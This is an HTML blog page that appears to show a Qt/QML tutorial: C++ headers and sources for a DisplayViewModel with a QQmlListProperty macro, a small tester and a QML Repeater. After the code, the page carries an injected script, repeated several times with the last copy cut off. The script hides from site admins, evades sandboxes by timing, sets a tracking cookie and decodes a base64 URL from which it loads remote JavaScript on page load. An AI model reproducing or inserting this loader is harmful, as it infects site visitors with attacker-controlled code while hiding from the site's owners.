<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">ViewModels/MyListClass.h</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">ViewModels/DisplayViewModel.h</span><span style="color: #800000;">&gt;</span>

qmlRegisterUncreatableType<span style="color: #800080;">&lt;</span>MyListClass<span style="color: #800080;">&gt;</span><span style="color: #808030;">(</span> a_uri<span style="color: #808030;">,</span> <span style="color: #008c00;">1</span><span style="color: #808030;">,</span> <span style="color: #008c00;">0</span><span style="color: #808030;">,</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">MyListClass</span><span style="color: #800000;">"</span><span style="color: #808030;">,</span>
         <span style="color: #800000;">"</span><span style="color: #0000e6;">Use access via DisplayViewModel instead</span><span style="color: #800000;">"</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
qmlRegisterType<span style="color: #800080;">&lt;</span>DisplayViewModel<span style="color: #800080;">&gt;</span><span style="color: #808030;">(</span> a_uri<span style="color: #808030;">,</span> <span style="color: #008c00;">1</span><span style="color: #808030;">,</span> <span style="color: #008c00;">0</span><span style="color: #808030;">,</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">DisplayViewModel</span><span style="color: #800000;">"</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span></pre>
<p>Utils/MyQMLListUtils.h</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">define</span><span style="color: #004a43;"> MY_DECLARE_QML_LIST</span><span style="color: #808030;">(</span><span style="color: #004a43;">type</span><span style="color: #808030;">,</span><span style="color: #004a43;"> name</span><span style="color: #808030;">,</span><span style="color: #004a43;"> owner</span><span style="color: #808030;">,</span><span style="color: #004a43;"> prop</span><span style="color: #808030;">)</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">QQmlListProperty</span><span style="color: #808030;">&lt;</span><span style="color: #004a43;">type</span><span style="color: #808030;">&gt;</span><span style="color: #004a43;"> name</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">{</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">   return QQmlListProperty</span><span style="color: #808030;">&lt;</span><span style="color: #004a43;">type</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">(</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">               this</span><span style="color: #808030;">,</span><span style="color: #004a43;"> 0</span><span style="color: #808030;">,</span><span style="color: #808030;">&amp;</span><span style="color: #004a43;">owner</span><span style="color: #808030;">:</span><span style="color: #808030;">:</span><span style="color: #004a43;">count </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> type </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> For </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> name </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> List</span><span style="color: #808030;">,</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">               </span><span style="color: #808030;">&amp;</span><span style="color: #004a43;">owner</span><span style="color: #808030;">:</span><span style="color: #808030;">:</span><span style="color: #004a43;">at </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> type </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> For </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> name </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> List</span><span style="color: #808030;">)</span><span style="color: #808030;">;</span><span style="color: #004a43;"> \</span>
<span style="color: #808030;">}</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">static int count </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> type </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> For </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> name </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> List</span><span style="color: #808030;">(</span><span style="color: #004a43;">QQmlListProperty</span><span style="color: #808030;">&lt;</span><span style="color: #004a43;">type</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">*</span><span style="color: #004a43;">property</span><span style="color: #808030;">)</span><span style="color: #808030;">{</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">   owner </span><span style="color: #808030;">*</span><span style="color: #004a43;">m </span><span style="color: #808030;">=</span><span style="color: #004a43;"> qobject_cast</span><span style="color: #808030;">&lt;</span><span style="color: #004a43;">owner </span><span style="color: #808030;">*</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">(</span><span style="color: #004a43;">property</span><span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span><span style="color: #004a43;">object</span><span style="color: #808030;">)</span><span style="color: #808030;">;</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">   return m</span><span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span><span style="color: #004a43;">prop</span><span style="color: #808030;">.</span><span style="color: #004a43;">size</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">;</span><span style="color: #004a43;"> \</span>
<span style="color: #808030;">}</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">static type </span><span style="color: #808030;">*</span><span style="color: #004a43;">at </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> type </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> For </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> name </span><span style="color: #808030;">#</span><span style="color: #808030;">#</span><span style="color: #004a43;"> List</span><span style="color: #808030;">(</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">        QQmlListProperty</span><span style="color: #808030;">&lt;</span><span style="color: #004a43;">type</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">*</span><span style="color: #004a43;">property</span><span style="color: #808030;">,</span><span style="color: #004a43;"> int index</span><span style="color: #808030;">)</span><span style="color: #808030;">{</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">   owner </span><span style="color: #808030;">*</span><span style="color: #004a43;">m </span><span style="color: #808030;">=</span><span style="color: #004a43;"> qobject_cast</span><span style="color: #808030;">&lt;</span><span style="color: #004a43;">owner </span><span style="color: #808030;">*</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">(</span><span style="color: #004a43;">property</span><span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span><span style="color: #004a43;">object</span><span style="color: #808030;">)</span><span style="color: #808030;">;</span><span style="color: #004a43;"> \</span>
<span style="color: #004a43;">   return m</span><span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span><span style="color: #004a43;">prop</span><span style="color: #808030;">[</span><span style="color: #004a43;">index</span><span style="color: #808030;">]</span><span style="color: #808030;">;</span><span style="color: #004a43;"> \</span>
<span style="color: #808030;">}</span></pre>
<p>ViewModels/DisplayViewModel.h</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">ifndef</span><span style="color: #004a43;"> DISPLAYVIEWMODEL_H</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">define</span><span style="color: #004a43;"> DISPLAYVIEWMODEL_H</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QObject</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QtQml</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">ViewModels/MyListClass.h</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">Utils/MyQMLListUtils.h</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> DisplayViewModel <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QObject</span>
<span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>

    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #800000; background: #ffffff; font-weight: bold;">const</span><span style="color: #603000; background: #ffffff;">QString</span><span style="color: #000000; background: #ffffff;"> title </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> title </span><span style="color: #800000; background: #ffffff; font-weight: bold;">WRITE</span><span style="color: #000000; background: #ffffff;"> setTitle NOTIFY titleChanged </span><span style="color: #808030; background: #ffffff;">)</span>
    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #800000; background: #ffffff; font-weight: bold;">const</span><span style="color: #603000; background: #ffffff;">QList</span><span style="color: #808030; background: #ffffff;">&lt;</span><span style="color: #000000; background: #ffffff;">MyListClass</span><span style="color: #808030; background: #ffffff;">*</span><span style="color: #808030; background: #ffffff;">&gt;</span><span style="color: #000000; background: #ffffff;"> objects </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> objects</span>
<span style="color: #000000; background: #ffffff;">                                          NOTIFY objectsChanged </span><span style="color: #808030; background: #ffffff;">)</span>
    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #000000; background: #ffffff;"> QQmlListProperty</span><span style="color: #808030; background: #ffffff;">&lt;</span><span style="color: #000000; background: #ffffff;">MyListClass</span><span style="color: #808030; background: #ffffff;">&gt;</span><span style="color: #000000; background: #ffffff;"> objectList </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> objectList</span>
<span style="color: #000000; background: #ffffff;">                                              NOTIFY objectsChanged </span><span style="color: #808030; background: #ffffff;">)</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">explicit</span> DisplayViewModel<span style="color: #808030;">(</span> <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>a_parent <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">nullptr</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">explicit</span> DisplayViewModel<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_title<span style="color: #808030;">,</span>
                               <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span>MyListClass<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> a_objects<span style="color: #808030;">,</span>
                               <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>a_parent <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">nullptr</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> title<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
        <span style="color: #800080;">{</span> <span style="color: #800000; font-weight: bold;">return</span> m_title<span style="color: #800080;">;</span> <span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">void</span> setTitle<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_title <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span>MyListClass<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> objects <span style="color: #808030;">(</span><span style="color: #808030;">)</span>
        <span style="color: #800080;">{</span> <span style="color: #800000; font-weight: bold;">return</span> m_objects<span style="color: #800080;">;</span> <span style="color: #800080;">}</span>
    Q_INVOKABLE <span style="color: #800000; font-weight: bold;">void</span> appendObject<span style="color: #808030;">(</span> MyListClass <span style="color: #808030;">*</span>a_object<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    Q_INVOKABLE <span style="color: #800000; font-weight: bold;">void</span> deleteObject<span style="color: #808030;">(</span> MyListClass <span style="color: #808030;">*</span>a_object<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    Q_INVOKABLE <span style="color: #800000; font-weight: bold;">void</span> reset<span style="color: #808030;">(</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">protected</span><span style="color: #e34adc;">:</span>
    MY_DECLARE_QML_LIST<span style="color: #808030;">(</span>MyListClass<span style="color: #808030;">,</span> objectList<span style="color: #808030;">,</span> DisplayViewModel<span style="color: #808030;">,</span> m_objects<span style="color: #808030;">)</span>

<span style="color: #800000; font-weight: bold;">signals</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> titleChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> objectsChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    <span style="color: #603000;">QString</span> m_title<span style="color: #800080;">;</span>
    <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span>MyListObject<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> m_objects<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">endif</span><span style="color: #696969;">// DISPLAYVIEWMODEL_H</span></pre>
<p>DisplayViewModel.cpp</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">"</span><span style="color: #40015a;">DisplayViewModel.h</span><span style="color: #800000;">"</span>

DisplayViewModel<span style="color: #800080;">::</span>DisplayViewModel<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_title<span style="color: #808030;">,</span>
                                    <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span>MyListClass<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> a_objects<span style="color: #808030;">,</span>
                                    <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>a_parent <span style="color: #808030;">)</span>
    <span style="color: #800080;">:</span> <span style="color: #603000;">QObject</span> <span style="color: #808030;">(</span> a_parent <span style="color: #808030;">)</span>
    <span style="color: #808030;">,</span> m_title <span style="color: #808030;">(</span> a_title <span style="color: #808030;">)</span>
    <span style="color: #808030;">,</span> m_objects <span style="color: #808030;">(</span> a_objects <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #800000; font-weight: bold;">foreach</span> <span style="color: #808030;">(</span>MyListClass<span style="color: #808030;">*</span> mobject<span style="color: #808030;">,</span> m_objects<span style="color: #808030;">)</span> <span style="color: #800080;">{</span>
        mobject<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>setParent <span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">this</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800080;">}</span>
<span style="color: #800080;">}</span>

<span style="color: #800000; font-weight: bold;">void</span> DisplayViewModel<span style="color: #800080;">::</span>setTitle <span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_title <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #800000; font-weight: bold;">if</span> <span style="color: #808030;">(</span> m_title <span style="color: #808030;">!</span><span style="color: #808030;">=</span> a_title <span style="color: #808030;">)</span> <span style="color: #800080;">{</span>
        m_title <span style="color: #808030;">=</span> a_title<span style="color: #800080;">;</span>
        <span style="color: #800000; font-weight: bold;">emit</span> titleChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800080;">}</span>
<span style="color: #800080;">}</span>

<span style="color: #800000; font-weight: bold;">void</span> DisplayViewModel<span style="color: #800080;">::</span>reset<span style="color: #808030;">(</span> <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #800000; font-weight: bold;">foreach</span> <span style="color: #808030;">(</span> MyListClass <span style="color: #808030;">*</span>mobject<span style="color: #808030;">,</span> m_objects <span style="color: #808030;">)</span> <span style="color: #800080;">{</span>
        mobject<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>deleteLater<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800080;">}</span>
    m_objects<span style="color: #808030;">.</span>clear<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">emit</span> objectsChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>

<span style="color: #800000; font-weight: bold;">void</span> DisplayViewModel<span style="color: #800080;">::</span>appendObject<span style="color: #808030;">(</span> MyListClass <span style="color: #808030;">*</span>a_object <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    a_object<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>setParent<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">this</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    m_objects<span style="color: #808030;">.</span>append<span style="color: #808030;">(</span> a_object <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">emit</span> objectsChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>

<span style="color: #800000; font-weight: bold;">void</span> DisplayViewModel<span style="color: #800080;">::</span>deleteObject<span style="color: #808030;">(</span> MyListClass <span style="color: #808030;">*</span>a_object <span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #800000; font-weight: bold;">if</span> <span style="color: #808030;">(</span>m_objects<span style="color: #808030;">.</span>contains<span style="color: #808030;">(</span> a_object <span style="color: #808030;">)</span><span style="color: #808030;">)</span> <span style="color: #800080;">{</span>
        m_objects<span style="color: #808030;">.</span>removeOne<span style="color: #808030;">(</span> a_object <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        a_object<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>deleteLater<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        <span style="color: #800000; font-weight: bold;">emit</span> objectsChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800080;">}</span>
<span style="color: #800080;">}</span></pre>
<p>Tester.cpp</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">ViewModels/DisplayViewModel.h</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">ViewModels/MyListClass.h</span><span style="color: #800000;">&gt;</span>

<span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span>MyListClass<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> objectList<span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">for</span><span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">int</span> i <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #800080;">;</span> i <span style="color: #808030;">&lt;</span> <span style="color: #008c00;">100</span> <span style="color: #800080;">;</span> <span style="color: #808030;">+</span><span style="color: #808030;">+</span>i <span style="color: #808030;">)</span> <span style="color: #800080;">{</span>
    objectList<span style="color: #808030;">.</span>append <span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">new</span> MyListClass <span style="color: #808030;">(</span>i<span style="color: #808030;">)</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>
DisplayViewModel <span style="color: #808030;">*</span>viewModel <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">new</span> DisplayViewModel <span style="color: #808030;">(</span>objectList<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
viewModel<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>appendObject <span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">new</span> MyListClass <span style="color: #808030;">(</span><span style="color: #008c00;">101</span><span style="color: #808030;">)</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span></pre>
<p>Display.qml</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">import</span> QtQuick <span style="color: #008000;">2.5</span>
<span style="color: #800000; font-weight: bold;">import</span> MyPlugin <span style="color: #008000;">1.0</span>

Repeater <span style="color: #800080;">{</span>
    property DisplayViewModel viewModel<span style="color: #800080;">:</span> DisplayViewModel <span style="color: #800080;">{</span> <span style="color: #800080;">}</span>
    model<span style="color: #800080;">:</span> viewModel<span style="color: #808030;">.</span>objectList
    delegate<span style="color: #800080;">:</span> Item <span style="color: #800080;">{</span>
        property MyListClass object<span style="color: #800080;">:</span> modelData
        Text <span style="color: #800080;">{</span>
            text<span style="color: #800080;">:</span> object<span style="color: #808030;">.</span>property
        <span style="color: #800080;">}</span>
    <span style="color: #800080;">}</span>
<span style="color: #800080;">}</span></pre>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 